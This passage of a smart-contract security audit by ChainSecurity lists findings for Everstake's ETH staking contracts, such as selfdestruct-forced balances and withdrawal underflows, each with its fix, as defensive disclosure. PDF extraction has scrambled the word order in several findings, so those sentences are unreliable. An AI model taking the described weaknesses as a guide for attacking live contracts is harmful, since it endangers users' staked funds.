withdrawal greater than or equal to x + y where y is the amount that could be the transaction with his call to Pool.stake will guarantee him to be interchanged with the withdrawal, overtaking all the users in _slotPendingStakers()[activeRound]. interchanged with _slotPendingStakers()[activeRound][0], frontrunning Acknowledged: Everstake responded that this behavior is known and kept as it is to save gas since using the proper order would be costly given OpenZeppelin's AddressSet implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "6.3 Minimum Stake Consistency", "body": " The Pool forces stakers to stake at least MIN_STAKE_AMOUNT per deposit, but it is possible to circumvent this by calling stake() and then either unstakePending() or unstake() to have a final deposited amount smaller than MIN_STAKE_AMOUNT. CS-EVERSTKB2C-005 Acknowledged: Everstake acknowledged this behavior and explained that this check is more about excluding cases when the fees of the transaction would be relatively large compared to the actual deposited amount. Everstake - ETH B2C Staking - 14 DesignLowVersion1Acknowledged \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 2 6 22 -Severity Findings -Severity Findings Replacing a Validator Eventually Blocks the System Usage of address(this).balance in restake Can Block the System -Severity Findings renounceOwnerShip Leaves the _pendingOwner Pending Missing Input Sanitization Pausing Withdrawing Is Ineffective Slashing Is Not Taken Into Account _simulateAutocompound's Computation of pendingRestaked Is Incorrect _simulateAutocompound's Computation of totalShare Is Incorrect -Severity Findings Wrong Address in Event upon acceptOwnership RewardsTreasury Overrides SendETH With Identical Implementation ValidatorList.get Might Not Represent the Reality _simulateAutocompound Ignores Paused Rewards Batch Deposit in First Round Skips Shortcut Events Missing Inconsistent Event Emission Order Interchanged Part of a Deposit Is Not Added to depositBalance Interfaces Not Implemented Missing Documentation Missing Indexing of Events Status of Replaced Validators Is Not Reset Unnecessary Function Parameter Variables and Functions Names Are Not Representative View Functions Are Incorrect for Round 0 Withdrawing May Fail Due to Underflow Wrong Restake Condition InterchangeDeposit Emitted When No Interchange activatedRound Cached Value Not Updated activeRound==0 Shortcut Breaks Semantics Everstake - ETH B2C Staking - 15 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrected \f onlyGovernor Not Used unstakePending Does Not Update _slotPendingStakers ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.1 Replacing a Validator Eventually Blocks the", "body": " System The function ValidatorList.replace does not set the status of the new validator to Pending. This will make ValidatorList.shift() revert when the next pending validator will be the new validator as its status will be Unknown. If this happens, staking and withdrawing will be blocked. The funds can only be unlocked if the validators are closed and the rewarder on the RewardsTreasury can be changed. CS-EVERSTKB2C-034 The function has been updated and the new validator' status is now set to Pending. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.2 Usage of address(this).balance in", "body": " restake Can Block the System CS-EVERSTKB2C-025 The function restake defined in the pool contract is called when auto-compounding is performed and tries to deposit to the beacon deposit contract with fresh validators as much as possible given the balance of the contract. As this function relies on the balance of the contract and not the balance computed by the accounting the following is possible: If ETH is forced into the pool contract (using selfdestruct for example), one can increase the balance of the contract such that any subsequent function call triggers a deposit to the beacon deposit contract via _autocompound when it would not without the extra ETH. As accounting's pending amount will now be much greater than the actual balance of the pool, any call to deposit or withdraw will eventually revert as it will try to send to the beacon deposit contract ETH that is no longer in the pool. When a user stakes, _autocompound() is called by deposit() before the deposit is accounted for in _deposit() and after the deposit of the user has been added to the contract's balance. If the balance of the contract, upon transferring the rewards from the treasury to the pool contract, is greater than 32 ETH, restake will deposit to the beacon deposit contract. As part of the user's deposit will be gone, the accounting performed by _deposit() will not match the actual balance of the contract and the call will revert as _stake cannot send BEACON_AMOUNT to the beacon deposit contract. A parameter activatedSlots to indicate how many validators must be deposited to has been added in the restake functions, and the Pool does not rely on its internal balance anymore. Everstake - ETH B2C Staking - 16 CodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrectedDesignHighVersion1CodeCorrected \f7.3 renounceOwnerShip Leaves the _pendingOwner Pending CS-EVERSTKB2C-033 functions The and OwnableWithSuperAdmin.renounceOwnership delete the _owner, but not the _pendingOwner. When renouncing ownership, there may be still a pending owner. The goal of renouncing ownership is to leave the contract without an owner forever, but if the current owner does initiate ownership transfer and then renounces, the pending owner can still claim ownership of the contract. TreasuryBase.renounceOwnership The two functions have been updated to delete the _owner and the _pendingOwner. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.4 Missing Input Sanitization", "body": " CS-EVERSTKB2C-031 Some function inputs are not sanitized: 1. Pool.initialize(): the parameters rewardsTreasury and poolGovernor are not checked for address(0). 2. Accounting.initialize(): the parameter accountingGovernor is not checked for address(0), and poolFee is not checked to be smaller than FEE_DENOMINATOR. 3. TreasuryBase.setRewarder(): rewarder is not checked for address(0). 4. TreasuryBase.setOwner(): owner is not checked for address(0). 5. Pool.setGovernor(): newGovernor is not checked for address(0). 1. Zero address checks are done. 2. Zero address and fee sanitization checks are done. 3. Zero address check is done. 4. the function has been removed and replaced by a transfer-and-accept pattern. 5. Zero address check is done. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.5 Pausing Withdrawing Is Ineffective", "body": " The function pauseWithdraw can be called by a privileged role to (un)pause the withdrawals. While the function unstakePending has the modifier whenWithdrawActive to ensure that it can only be called CS-EVERSTKB2C-039 Everstake - ETH B2C Staking - 17 DesignMediumVersion3CodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fonly when withdrawals are allowed, unstake() is not and can be called independently of the pausing of withdrawals. The function Pool.unstake has been updated with the whenWithdrawActive modifier. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.6 Slashing Is Not Taken Into Account", "body": " CS-EVERSTKB2C-003 The protocol assumes that slashing will never happen for any of its validators. While the risk of slashing can be greatly reduced by good infrastructure maintenance and monitoring, it can never be zero, in this case, the slashing of a validator could result in putting the protocol in unexpected states and a potential loss of funds for users. All implementations of nodes can potentially have bugs that might lead to undesired slashing. For example, any transfer of less than 32 ETH from the validator is considered as an incoming reward, while if slashed this can be an entire stake of the validator. Thus, if slashed just before unstaking, the wrong accounting can lead to unexpected results. Everstake added the feature to stop the update of rewards in case of emergency. When it comes to updating the user's balance and refunding the users, see Trust Model and Users may not be fully refunded in case of slashing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.7 _simulateAutocompound's Computation of", "body": " pendingRestaked Is Incorrect When simulating the activation of rounds in _simulateAutocompound(), for each round being activated, pendingRestaked is decremented by BEACON_AMOUNT. As it might be the case that pendingAmount/BEACON_AMOUNT > pendingRestaked/BEACON_AMOUNT, a call to the function could revert after trying to underflow the variable pendingRestaked. CS-EVERSTKB2C-017 _simulateAutocompound that pendingAmount/BEACON_AMOUNT > pendingRestaked/BEACON_AMOUNT and correctly decrement pendingRestaked. assumption makes longer the no Everstake - ETH B2C Staking - 18 DesignMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrected \f7.8 _simulateAutocompound's Computation of totalShare Is Incorrect CS-EVERSTKB2C-018 is by called _deposit When deposited (AUTO_COMPOUND_TOTAL_SHARE_POSITION) is incremented with the rewards (both the part that has been side, __simulateAutocompound() increments totalShare by unclaimedReward which, at this point, only includes the part of the rewards that is not interchanged. The totalShare returned by _simulateAutocompound() will hence not always match the result of an autocompounding. _autocompound(), deposited). On interchanged that will amount other total part and the the the be _simulateAutocompound now matches _autocompound() behavior and takes into account the interchanged amounts when computing the total pool's balance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.9 Wrong Address in Event upon ", "body": " acceptOwnership CS-EVERSTKB2C-043 The and OwnableWithSuperAdmin._transferOwnership emit the event the addresses of _owner and newOwner, which are the same at that point. TreasuryBase._transferOwnership functions The two functions have been updated to emit the event with the previous owner and the new owner. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.10 RewardsTreasury Overrides SendETH With", "body": " Identical Implementation RewardsTreasury overrides SendETH with the same implementation as TreasuryBase. CS-EVERSTKB2C-035 Everstake RewardsTreasury not to have to override sendETH. inheritance between revised the the contracts and their interface to allow for Everstake - ETH B2C Staking - 19 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion3CodeCorrectedDesignLowVersion3CodeCorrected \f7.11 ValidatorList.get Might Not Represent the Reality Given a set of Validators with the status Deposited, they may be not closed in the same order they appear in _validatorsPubKeys. In such case, calling markAsExited will mark the n first Deposited validator of the list as excited, without caring about which exact validator was closed. This may lead the function ValidatorList.get to return a status that is not representative of reality in the case Everstake did not close validators in the order they appear in _validatorsPubKeys (e.g. in case of slashing or leaked private key). CS-EVERSTKB2C-002 Everstake added the function markValidatorAsExited and a corresponding internal function to the Pool and to ValidatorList to allow for marking as closed validators given its index in _validatorsPubKeys. Provided right method between markValidatorsAsExited and markValidatorAsExited to close the validators that have effectively been closed, ValidatorList.get should return the correct status. that Everstake always uses the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.12 _simulateAutocompound Ignores Paused", "body": " Rewards Accounting._simulateAutocompound does not take the pausing of rewards into account, and thus does not mirror what autocompound would do when the rewards are paused. CS-EVERSTKB2C-036 function _simulateAutocompound has been updated The _autocompound() when the rewards are paused. to reflect the behavior of ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.13 Batch Deposit in First Round Skips Shortcut", "body": " CS-EVERSTKB2C-022 the first round If in Accounting._activateRound() will be skipped as activeRound > 0. In this case, round 0 will have to be activated as any other round by calling activateValidators. is closed within a batch deposit, (activeRound==0) the shortcut The special handling of the case activeRound==0 has been removed from _activateRound(). Everstake - ETH B2C Staking - 20 DesignLowVersion3CodeCorrectedCorrectnessLowVersion3CodeCorrectedDesignLowVersion1CodeCorrected \f7.14 Events Missing CS-EVERSTKB2C-029 Even though many events are emitted by the protocol, several important state changes do not emit events: 1. OwnableWithSuperAdmin.__OwnableWithSuperAdmin_init_unchained() does not emit SetSuperAdmin after setting the super admin. 2. Accounting.withdraw() does not emit InterchangeDeposit when interchanging with the pending restaked amount. 3. No event is emitted by Accounting.activateValidators() when one or several validators are activated. 4. No event is emitted when the minimum amount to restake is set using Accounting.setMinRestakeAmount(). 5. In Accounting, deposit(), withdrawPending() and withdraw() could emit events as they are not necessarily respectively called by Pool.stake(), Pool.unstakePending() and Pool.unstake(). 6. Pool.unstake() emits no event when no amount is withdrawn from the pending value of the pool. 7. Pool.restake(), Pool.setPendingValidators(), Pool.replacePendingValidator(), Pool.markValidatorsAsExited() emit no event while they perform important state changes. 8. GovernorChanged in Pool.initialize() and Accounting.initialize(), similarly, FeeUpdated is not emitted when setting the pool fee in initialize(). is emitted when setting the governor : 9. OwnableWithSuperAdmin.renounceOwnership TreasuryBase.renounceOwnership does not. emits an event but 10. markValidatorsAsExited is defined and emitted in the library ValidatorList, meaning that it won't be part of the Pool's ABI as it is not redefined there. The points 1., 2., 3., 4., 6., 7. (all but setPendingValidators), 8., 9., 10. have been fixed. For 7., Everstake states: Pool.setPendingValidators() - not important state changes. It's internal processing which can be indexed without events. For point 5.: Everstake answered that the concerned functions of the accounting can be called either by the pool or by the owner. In the former case, the pool emits relevant events. For the latter case, Everstake states that the owner should call these functions only in an emergency and thus, Everstake claims that no events are needed in those cases as observers would anyway know that this is the owner's actions. Everstake - ETH B2C Staking - 21 DesignLowVersion1CodeCorrectedVersion3 \f7.15 Inconsistent Event Emission Order 1. While most of the functions emit events after calling functions that might themselves emit an event, Pool._deposit emits StakeDeposited before calling deposit which will itself emit events. 2. Additionally, in the codebase, the rule seems to be doing storage change first and then emitting events, however, some functions do not follow this pattern: CS-EVERSTKB2C-024 OwnableWithSuperAdmin.transferOwnership Governor._updateGovernor 1. The event has been moved after the call to deposit. 2. The events have been moved after the state changes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.16 Interchanged Part of a Deposit Is Not Added", "body": " to depositBalance When staking, the part of the deposit that is interchanged with withdrawals is not added to sourceStaker.depositBalance. CS-EVERSTKB2C-026 The function AutocompoundAccounting._depositAutocompound has been updated to add the interchanged amount to the sourceStaker.depositBalance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.17 Interfaces Not Implemented", "body": " Some of the contracts do not implement their interfaces (FooBar is IFooBar). This would be a guarantee for integrators that the contracts carry the same functions signatures as the interfaces. Such contracts are listed below: CS-EVERSTKB2C-027 TreasuryBase RewardsTreasury The contracts TreasuryBase and RewardsTreasury have been updated to implement their respective interfaces. Everstake - ETH B2C Staking - 22 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7.18 Missing Documentation Most of the functions are poorly documented or have no NatSpec description at all. CS-EVERSTKB2C-028 Extensive documentation has been added for external and public functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.19 Missing Indexing of Events", "body": " All events defined in Accounting, Governor, Pool, RewardTreasury, TreasuryBase and Withdrawer contain no indexed fields. Indexing some relevant fields will help for searching events quicker. CS-EVERSTKB2C-030 The relevant fields have been indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.20 Status of Replaced Validators Is Not Reset", "body": " In the function ValidatorList.replace, the status of the replaced validator is not assigned (=), but compared (==) to ValidatorStatus.Unknown. This line of code will have no effect, and it will not be possible to add again the replaced validator at a later stage. CS-EVERSTKB2C-037 The status of the replaced validator is correctly reset to Unknown. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.21 Unnecessary Function Parameter", "body": " The function AutocompoundAccounting._activatePendingBalance(), is always called with the parameter minPresentedAmount set to true, thus the parameter and logic related to it should be removed from the codebase. CS-EVERSTKB2C-038 Everstake - ETH B2C Staking - 23 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The unnecessary function parameter minPresentedAmount and its related logic have been removed from the codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.22 Variables and Functions Names Are Not", "body": " Representative Having self-explanatory names for variables and functions greatly help the understanding of the code. The names of some of the variables and functions in the codebase are misleading. Here is a non-exhaustive list: all the functions named with autocompound, except autocompound() and _autocompound() have nothing to do with autocompounding. CS-EVERSTKB2C-040 AUTO_COMPOUND_TOTAL_SHARE_POSITION represents total amount of ETH currently deposited in the validators, not a share. Moreover, the amount is not only from auto-compounded rewards. the ShareState.totalShare represent the total deposited amount at some period, not a share. ShareState.shareIndex represent the total minted shares at some period, not an index. STAKER_AUTOCOMPOUND_BALANCES_POSITION and the struct AutocompoundStakerMining have nothing to do with autocompounding. The functions and variables names have been changed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.23 View Functions Are Incorrect for Round 0", "body": " The special case for activeRound==0 in _activateRound() sets activatedRound to 1 although the validator is not necessarily active yet. This means that the following functions might return incorrect results relative to the semantics of pendingDeposited and active: CS-EVERSTKB2C-041 pendingDepositedBalance() pendingDepositedBalanceOf() depositedBalanceOf() autocompoundBalanceOf() The special handling of the case activeRound==0 has been removed from _activateRound(). Everstake - ETH B2C Staking - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7.24 Withdrawing May Fail Due to Underflow CS-EVERSTKB2C-042 When computing _shareToAmount(totalShare, autoCompoundShareIndex, autoCompound TotalShare) - originActiveDepositedBalance in _withdrawFromAutocompound, amounts deposited by the user are compared with amounts obtained from shares using _shareToAmount(), as there might have been a rounding error in the computation of the latter, their comparison might result in an underflow, leading the call to revert. An easy way to obtain this behavior is to have the user deposit a very low amount of ETH x (10 wei for example) by calling stake() with some large value before calling unstakePending() to leave in the pending deposit of the user x ETH. Supposing now that the price of a share is high at the moment of the activation of the validator, it is possible that _shareToAmount(_amountToShare(x)) < x as _amountToShare() might have done some rounding. When only a portion of the user's shares are burned, the accounting subtracts the deposited balance to whatever is larger between the deposited balance and the amount obtained from the shares to be burned to avoid underflow. When all the shares are burned, no such comparison is done and the deposited amount is updated to be the user's pending amount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.25 Wrong Restake Condition", "body": " CS-EVERSTKB2C-044 for the Pool to deposit on a restake The condition If balance == BEACON_AMOUNT the active round would have been incremented and the pending amount updated accordingly during _autocompound() because the system expects a new validator to be provisioned. But in that case, the validator will not be provisioned because of the strict inequality above. Moreover, the internal accounting of the pending amount will not be representative of the true pending value until the next deposit or reward auto-compounding. is balance > BEACON_AMOUNT. The restake condition has been modified and relies on activatedSlots instead of balance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.26 InterchangeDeposit Emitted When No", "body": " Interchange In the function withdraw, InterchangeDeposit is emitted even if no interchange happened for the given pending staker (activatedAmount==0). CS-EVERSTKB2C-023 Everstake - ETH B2C Staking - 25 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The withdraw function has been updated so the InterchangeDeposit event is emitted only when some amount is interchanged. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.27 activatedRound Cached Value Not Updated", "body": " CS-EVERSTKB2C-020 At the beginning of the function Accounting._depositBalance, activatedRound is cached in memory and later used when calling _depositAccount(). If activeRound==0 and enough ETH is deposited so that _activateRound() is called, activatedRound is set to 1 in the storage but its cached value is not updated. Because of this, if _depositBalance was to call _depositAccount() after _activateRound's call (the user deposited enough to activate two or more rounds), _autocompoundAccount() would in the pendingDepositedBalances although the deposit should be active at this time and shares should be minted. round 0 deposit cache user's the for The special handling of the case activeRound==0 has been removed from _activateRound(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.28 activeRound==0 Shortcut Breaks", "body": " Semantics The implemented shortcut in _activateRound(), the shortcut that marks the round 0 activated breaks the semantics of the activatedRound, which should only represent the number of validators that have been effectively activated. CS-EVERSTKB2C-021 The special handling of the case activeRound==0 has been removed from _activateRound(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.29 onlyGovernor Not Used", "body": " The modifier onlyGovernor defined in the Governor is never used in the code base and thus should be removed. Moreover, as the check ensuring that the msg.sender is the governor is performed after the function's call the modifier is applied to, if the modifier was to be used on a function updating the governor, it could be that the function is not protected and could be called by anyone providing themselves as the new governor. CS-EVERSTKB2C-032 Everstake - ETH B2C Staking - 26 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The modifier onlyGovernor has been removed from the Governor contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.30 unstakePending Does Not Update", "body": " _slotPendingStakers When his _slotPendingStakers[activeRound] is not updated to remove the staker. withdraws pending stake user full using a CS-EVERSTKB2C-019 unstakePending, The Accounting.withdrawPending function has been updated such that the staker is removed from _slotPendingStakers[activeRound] if they remove all of their pending stakes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.31 Deleting a struct With a Mapping Has No", "body": " Effect CS-EVERSTKB2C-008 In Solidity, if a struct contains a mapping and one deletes the struct, the mapping will not be deleted. In deletes _slotPendingStakers()[activeRound], an AddressSet, but only the _values field of the Set will be defaulted. Accounting._activateRound() codebase, the The deletion of _slotPendingStakers()[activeRound] has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.32 Event Reentrancy", "body": " CS-EVERSTKB2C-009 In several functions, an event is emitted after an external call to some address, in the case that the call would reenter the contract, it would be possible to have events emitted out of order. The list of such patterns is shown below. Pool.unstake() with _safeEthSend() and the event Unstake. Pool.unstakePending() with _safeEthSend() and the event StakeCanceled. Withdrawer._claimWithdrawRequest() with ITreasuryBase.sendEth() and the event ClaimWithdrawRequest. Accounting.claimPoolFee() with IRewardsTreasury.sendEth() and the event ClaimPoolFee. Everstake - ETH B2C Staking - 27 DesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f All the patterns above have been updated to emit the event first, and then transfer ETH. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.33 Gas Optimizations", "body": " CS-EVERSTKB2C-011 1. The type casting from address to address is not required in Pool.initialize(), removing it might save gas during initialization depending on the compiler's optimization setting. 2. pendingValidatorPubKey is read twice from storage in Pool._deposit(), the value could be cached in memory to avoid one SLOAD. 3. The checks of the form a != b && a != c can be modified following De Morgan's law (!(a == b || a == c)) to leverage the lazy evaluation of the condition and save gas on runtime. 4. Some function arguments on call can be replaced by constants. Some examples are: Accounting._activateRound(): the variable activeRound can be replaced by 0 in the call _makeAutocompoundRoundCheckpoint(activeRound). Accounting._depositBalance(): in the call to _activateRound() of the branch > parameter replaced by if pendingTotalShare + closeCurrentRoundAmount can be BEACON_AMOUNT. (pendingAmount 0), the Accounting._depositBalance(): in the call to _depositAccount() of the branch if (depositToPendingAmount > 0), the parameter interchangedAmount will always be 0. Accounting._depositBalance(): call AUTO_COMPOUND_PENDING_SHARE_POSITION.setStorageUint256() of the branch if (depositToPendingAmount > 0), the parameter pendingTotalShare will always be 0. the in 5. The activatedSlots in the branch if (pendingTotalShare > 0) of the function Accounting._depositBalance() can be set to 1 instead of incrementing the variable to save gas on runtime. loop while and multiple (depositToPendingAmount branch 6. The if function Accounting._depositBalance can be replaced by one update for each involved variable. If the while loop was to stay, a do-while construct could save gas. The same applies in _simulateAutocompound(). variables BEACON_AMOUNT) stack >= increments the the of in pendingTotalShare 7. Setting >= (depositToPendingAmount if Accounting._depositBalance is redundant. to 0 in BEACON_AMOUNT) the of the branch function 8. The while loop in the function Accounting.withdraw() can be simplified since in the case isFullyDeposited==false, then the remaining interchangeWithPendingDeposits is zero. 9. In the branch if (withdrawFromPendingAmount > 0) function Accounting.withdraw, pendingRestakedValue - withdrawFromPendingAmount is computed twice while it could be done only once. the of Everstake - ETH B2C Staking - 28 InformationalVersion1CodeCorrected \f10. In the function Accounting.withdraw, the pendingTotalShare is read from storage twice when it could be cached in the memory. 11. In the branch if (unclaimedReward < MIN_RESTAKE_POSITION.getStorageUint256()) of the function Accounting._simulateAutocompound(), the constant 0 can be used instead of unclaimedReward statement return the of 12. When simulating the withdraw queue filling in Accounting._simulateAutocompound(), the in same way branches could done the be in is it if/else unified Withdrawer._interchangeWithdraw(). 13. The modifier Governor.onlyGovernor() does the address check after executing the code. Reverting early would save gas. 14. In the function Pool._stake(), value cannot be zero. 15. The increment i++ can be in an unchecked block in multiple for loops. 16. The function Withdrawer. _calculateValidatorClose can return only one value, as the two values are linked by a constant factor, one can easily deduce a value from the other one. 17. In the function Withdrawer._calculateWithdrawRequestAmount, the withdrawFromActiveDeposit true withdrawFromActiveDeposit > pendingTotalShare is true and is hence redundant. always will be > 0 condition if 18. In the function WithdrawRequests.add, the assignation requests._values[i] = request can be moved inside the if (requests._values[i].value == 0) block and the function can return right after. 19. In the functions WithdrawRequests.info, requests.value[i].afterFilledAmount is read twice from the storage while it could be cached to avoid one SLOAD. WithdrawRequests.claim and 20. In the functions WithdrawRequests.claim and WithdrawRequests.info, the condition requests._values[i].afterFilledAmount > actualFilledAmount can be relaxed to an if requests._values[i].afterFilledAmount == actualFilledAmount their difference is null. comparison unstrict since 21. In the function WithdrawRequests.info, requests._values.length is read from the storage at each iteration of the loop. Caching it in the memory would avoid several SLOAD. 22. In the function and set._activePendingElementIndex are both read three times from the storage when their value could be cached in the memory. set._activeValidatorIndex ValidatorList.add, 23. In the function ValidatorList.shift, set._activePendingElementIndex is read two times from the storage when its value could be cached in the memory. 24. In the _autocompoundAccount, _autoCompoundUserPendingDepositedBalance, and _withdrawFromAutocompound field pendingDepositedBalances.length of the staker is read from the storage at each iteration of the loop. Caching it in the memory would avoid several SLOAD. _autoCompoundUserBalance AutocompoundAccounting, functions, the of 25. In the first for loop of the function AutocompoundAccounting._autocompoundAccount, both staker.pendingDepositedBalances[j].period and staker.activePendingDepositedElementIndex are read twice from the storage and could be cached. 26. In AutocompoundAccounting._autocompoundAccount(), when updating the pending times status three staker.activePendingDepositedElementIndex from storage, it could be cached. pendingDeposited, execution read path one to Everstake - ETH B2C Staking - 29 \f27. In AutocompoundAccounting._autocompoundAccount(), when updating the pending status to pendingDeposited or to activated, both staker.pendingBalance.balance and staker.pendingBalance.period are read twice from storage. 28. In AutocompoundAccounting._autoCompoundUserPendingDepositedBalance(), staker.pendingBalance.period is read twice from storage. if 29. In AutocompoundAccounting._autoCompoundUserBalance(), at each iteration of the for both loop, stakerAutocompoundBalance.pendingDepositedBalances[j].balance and stakerAutocompoundBalance.pendingDepositedBalances[j].period are read twice from storage. statement condition met, the the not if of is : 30. The calls to _userActiveBalance to get only the depositedBalance could be replaced by a simple storage read to save gas. 31. At the end Accounting._simulateAutocompound(), pendingAmount == pendingRestaked always holds as if if (pendingAmount > 0) is entered, then they are both set to 0. Otherwise pendingAmount==0 and hopefully one should always have pendingAmount >= pendingRestaked meaning that there is no need to keep both var for the while loop. of The gas optimizations have been applied. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.34 Governor Is Immutable", "body": " While the Governor role of the Pool can be transferred to another address by the Owner, the SuperAdmin or the governor himself at any time, the Governor of the Accounting contract can only be set when calling Accounting.initialize. CS-EVERSTKB2C-012 The Governor of the Accounting can now be updated using the function setGovernor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.35 Unneeded return Statement", "body": " When a function signature looks like function foo() external returns(uint a, uint b), the statement return (a, b) is not necessary when the values to be returned have been assigned earlier to the returned variables. CS-EVERSTKB2C-015 Some examples: AutocompoundAccounting._withdrawFromAutocompound() AutocompoundAccounting._autocompoundAccount() Everstake - ETH B2C Staking - 30 Version3InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f Some of the unnecessary return statements have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.36 Unused Imports", "body": " The following imports are not used: 1. \"./interfaces/IPool.sol\" and \"./interfaces/ITreasuryBase.sol\" in Accounting. 2. \"./interfaces/IPool.sol\" in WithdrawTreasury. 3. \"./interfaces/IRewardsTreasury.sol\" in RewardsTreasury. 4. \"./ITreasuryBase.sol\" in IRewardsTreasury. CS-EVERSTKB2C-016 All unused imports have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.37 Validator Cannot Be Marked as Exited", "body": " Immediately In ValidatorList, markAsExited() changes the status of num validators from Deposited to Exited provided that: CS-EVERSTKB2C-010 Their status is Deposited. They are all stored consecutively in set._validatorsPubKeys. The first is set._validatorsPubKeys. validator stored at index set._activeValidatorIndex of By the design of the List struct and the functions add and shift, validators that are Deposited are not always at starting at set._activeValidatorIndex and can be interleaved by validator with another status. A Deposited validator in such configuration cannot have his status changed to Exited until all previous validators have the state Deposited or Exited. slice of set._validatorsPubKeys \"front\" of the the markAsExited() has been updated in such ways that the num validators to be marked as Exited no longer need to be stored consecutively. Additionally, Pool.reorderPending() can be used to order pending validators to be deposited to in the order as they appear in _validatorsPubKeys. Depending on how Pool.reorderPending() is called this can be used to keep _validatorsPubKeys's length from growing. Everstake - ETH B2C Staking - 31 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7.38 initializer Used Over onlyInitializing CS-EVERSTKB2C-014 The functions __OwnableWithSuperAdmin_init_unchained onlyInitializing would be more correct. __OwnableWithSuperAdmin_init the and initializer modifier while have The modifier onlyInitializing is used instead of initializer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "7.39 minStake's Value Differs From the", "body": " Documentation In the Pool.initialize, the minimum stake is set to 0.01 ETH while the documentation states that the minimum users are allowed to stake is 0.1 ETH. CS-EVERSTKB2C-013 The minimum stake is now set to 0.1 ETH in Pool.initialize. Everstake - ETH B2C Staking - 32 